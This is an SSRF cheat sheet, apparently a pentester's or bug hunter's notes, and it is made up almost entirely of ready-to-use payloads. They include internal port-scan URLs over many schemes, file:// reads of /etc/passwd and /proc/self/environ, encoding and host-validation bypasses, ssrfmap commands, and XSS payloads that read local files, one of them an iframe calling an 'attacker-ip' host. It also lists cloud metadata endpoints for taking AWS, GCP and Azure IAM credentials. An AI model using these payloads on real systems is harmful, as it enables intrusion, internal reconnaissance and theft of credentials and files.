👑Find SSRF (CWE-918)


___Detection:___

Check out Parameters in the path of a URL or in the body of a request such as /file=, /path=, /src= /url= to see if the application can send requests only to whitelisted applications

Check out if there is PDF or any other file export tool in place which may be vulnerable to SSRF

Once you have an indicator that an application might be vulnerable to SSRF, you have to weaponize your payloads

In a first attempt, we could try to reach internal network addresses. Try inserting private IP addresses and see if you get a response (e.g. 192.168.0.137,http://127.00.1,http://localhost http://169.254.169.254/ and http://Burp-Collaborator, If you try out every possible IP address in an automated fashion, you can run a full fledged port scan of the target network like:

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.2:22
http://127.0.0.2:80
http://127.0.0.2:443
http://127.0.0.2:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
http://localhost:80
http://localhost:443
http://localhost:22

https://127.0.0.1:80
https://127.0.0.1:443
https://127.0.0.1:22
https://127.0.0.2:80
https://127.0.0.2:443
https://127.0.0.2:22
https://0.0.0.0:80
https://0.0.0.0:443
https://0.0.0.0:22
https://localhost:80
https://localhost:443
https://localhost:22

What you can do for all of the above is to try various URL schemes such as file://, ftp://, dict://, sftp://, ldap://, tftp://, gopher://. Like:

sftp://127.0.0.1:80/ 
sftp://127.0.0.1:443/ 
sftp://127.0.0.1:22/ 
sftp://0.0.0.0:80/ 
sftp://0.0.0.0:443/ 
sftp://0.0.0.0:22/ 
sftp://localhost:80/ 
sftp://localhost:443/ 
sftp://localhost:22/ 

dict://127.0.0.1:80/ 
dict://127.0.0.1:443/ 
dict://127.0.0.1:22/ 
dict://0.0.0.0:80/ 
dict://0.0.0.0:443/ 
dict://0.0.0.0:22/ 
dict://localhost:80/ 
dict://localhost:443/ 
dict://localhost:22/
  
tftp://127.0.0.1:80/ 
tftp://127.0.0.1:443/ 
tftp://127.0.0.1:22/ 
tftp://0.0.0.0:80/ 
tftp://0.0.0.0:443/ 
tftp://0.0.0.0:22/ 
tftp://localhost:80/ 
tftp://localhost:443/ 
tftp://localhost:22/

ldap://127.0.0.1:80/ 
ldap://127.0.0.1:443/ 
ldap://127.0.0.1:22/ 
ldap://0.0.0.0:80/ 
ldap://0.0.0.0:443/ 
ldap://0.0.0.0:22/ 
ldap://localhost:80/ 
ldap://localhost:443/ 
ldap://localhost:22/ 

gopher://127.0.0.1:80/ 
gopher://127.0.0.1:443/ 
gopher://127.0.0.1:22/ 
gopher://0.0.0.0:80/ 
gopher://0.0.0.0:443/ 
gopher://0.0.0.0:22/ 
gopher://localhost:80/ 
gopher://localhost:443/ 
gopher://localhost:22/

ftp://127.0.0.1:80/ 
ftp://127.0.0.1:443/ 
ftp://127.0.0.1:22/ 
ftp://0.0.0.0:80/ 
ftp://0.0.0.0:443/ 
ftp://0.0.0.0:22/ 
ftp://localhost:80/ 
ftp://localhost:443/ 
ftp://localhost:22/ 

file:///etc/passwd
file:///C:/Windows/win.ini
file:///C:/windows/System32/drivers/etc/hosts
file:///etc/lsb-release
file:///etc/hosts
file:///etc/group
file:///proc/self/cwd/index.php
file:///proc/self/exe
file:///proc/self/environ

Next up, you could try to query a metadata API of a cloud provider (e.g. http://169.254.169.254/latest/user-data/iam/security-credentials/ with Differnt Endpoints

Common Bypasses:

Sometimes, the developers just banned the use of 169.254.169.254 directly. In that case, we can simply use hostnames that resolve to the same IP address. Nip.io allows simple wildcard DNS for any IP address; here are some examples. All of these resolve to 169.254.169.254.

  • 169.254.169.254.nip.io

  • 169-254-169-254.nip.io

  • a9fea9fe.nip.io (hexadecimal IP notation)

  • Something.google.com.169.254.169.254.nip.io

URL encoding (1x,2x,3x)

Using multiple layers of URL encoding can allow for bypassing of restrictions. I normally just check 1 or 2 layers, but I've seen a report recently where only 3 worked. Not a big deal to encode one more time.

Protocol Validation Bypasses:

//{HOST}
\\{HOST}
////{HOST}
\\\\{HOST}
http:{HOST}
https:{HOST}
/%09/{HOST}
/%0A/{HOST}
/%OD/{HOST}

Host Validation Bypasses:

.{HOST}
@{HOST}
example.com.{HOST}
example.com@{HOST}
example.comx.{HOST}
{HOST}#example.com
{HOST}?example.com
{HOST}#@example.com
{HOST}?@example.com
127.0.0.1.nip.io
example.com.127.0.0.1.nip.io
127.1
localhost.me

Try out the Intigriti SSRF payload generator at https://tools.intigriti.io/redirector/.


Parameter Scan for SSRF

python3 ssrfmap.py -r request.txt -p url -m readfiles,portscan,networkscan -p "pdf_path"
python3 ssrfmap.py -r request.txt -p url -m readfiles,aws,gce,digitalocean,tomcat,portscan,networkscan -p "pdf_path"

___Basic localhost Payloads:___

http://127.0.0.1:port

http://localhost:port

https://127.0.0.1:port

https://localhost:port

http://[::]:port

http://0000::1:port

http://[0:0:0:0:0:ffff:127.0.0.1]

http://0/

http://127.1

http://127.0.1


___File path:___

/etc/passwd

file:///etc/passwd

file://path/to/file

file://\/\/etc/passwd

file:///etc/lsb-release

file:///etc/hosts

file:///proc/self/cwd/index.php

file:///proc/self/exe

file:///proc/self/environ


___File path Bypass:___

file:/etc/passwd?/

file:///etc/?/../passwd

file:${br}/et${u}c/pas${te}swd?/

file:/etc/passwd?/
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/?/../passwd
file:///etc/%3F/../passwd
file:${br}/et${u}c/pas${te}swd?/
file:$(br)/et$(u)c/pas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd?/
file:$(br)/et$(u)c%252Fpas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
file:///etc/passwd?/../passwd

___With other protocols:___

sftp://attacker.com:port/

dict://attacker:port/

tftp://attacker.com:port/

ldap://localhost:port/

gopher://127.0.0.1:port/


___From XSS:___

\<img src="xxx" onerror="document.write('\<iframe src=file:///etc/passwd>\</iframe>')"/>\
\<link rel=attachment href="file:///etc/passwd">\
 <iframe src='file:///etc/passwd' width='600' height='600'>
<embed src='file:///etc/passwd' width='600' height='600'>
<object data='file:///etc/passwd' width='600' height='600' type='text/html'>
<portal src='file:///etc/passwd' id='portal'>
<link rel='attachment' href='file:///etc/passwd'>
<annotation file='/etc/passwd' content='/etc/passwd' icon='Graph' title='Attached File' pos-x='195'>
<​meta http-equiv='refresh' content='0;url=file:///etc/passwd'>
<​script>window.location = "file:///etc/passwd";<​/script>
<img src="x" onerror​="window.location='file:///etc/passwd'">
<link rel="import" href="https://lnkd.in/gsf3JpAK">
<!--#include file="file:///etc/passwd" -->

With iframe injection:

<?php $file = $_GET['file']; header("location:file://$file");?>

\<iframe src="http://attacker-ip/test.php?file=/etc/passwd">\</iframe>\


___AWS:___

http://instance-data

http://169.254.169.254

http://169.254.169.254/latest/user-data

http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]

http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

http://169.254.169.254/latest/meta-data/ami-id

http://169.254.169.254/latest/meta-data/reservation-id

http://169.254.169.254/latest/meta-data/hostname

http://169.254.169.254/latest/meta-data/public-keys/

http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

http://169.254.169.254/latest/meta-data/public-keys/1/openssh-key

http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy

http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access

http://169.254.169.254/latest/dynamic/instance-identity/document

http://169.254.169.254:80/metadata/v1/user-data

http://169.254.169.254:80/metadata/v1.json


___Google Cloud:___

http://169.254.169.254/computeMetadata/v1/

http://metadata.google.internal/computeMetadata/v1/

http://metadata/computeMetadata/v1/

http://metadata.google.internal/computeMetadata/v1/instance/hostname

http://metadata.google.internal/computeMetadata/v1/instance/id

http://metadata.google.internal/computeMetadata/v1/project/project-id


___Azure:___

http://169.254.169.254/metadata/v1/maintenance

http://169.254.169.254/metadata/instance?api-version=2017-04-02

http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text


Last updated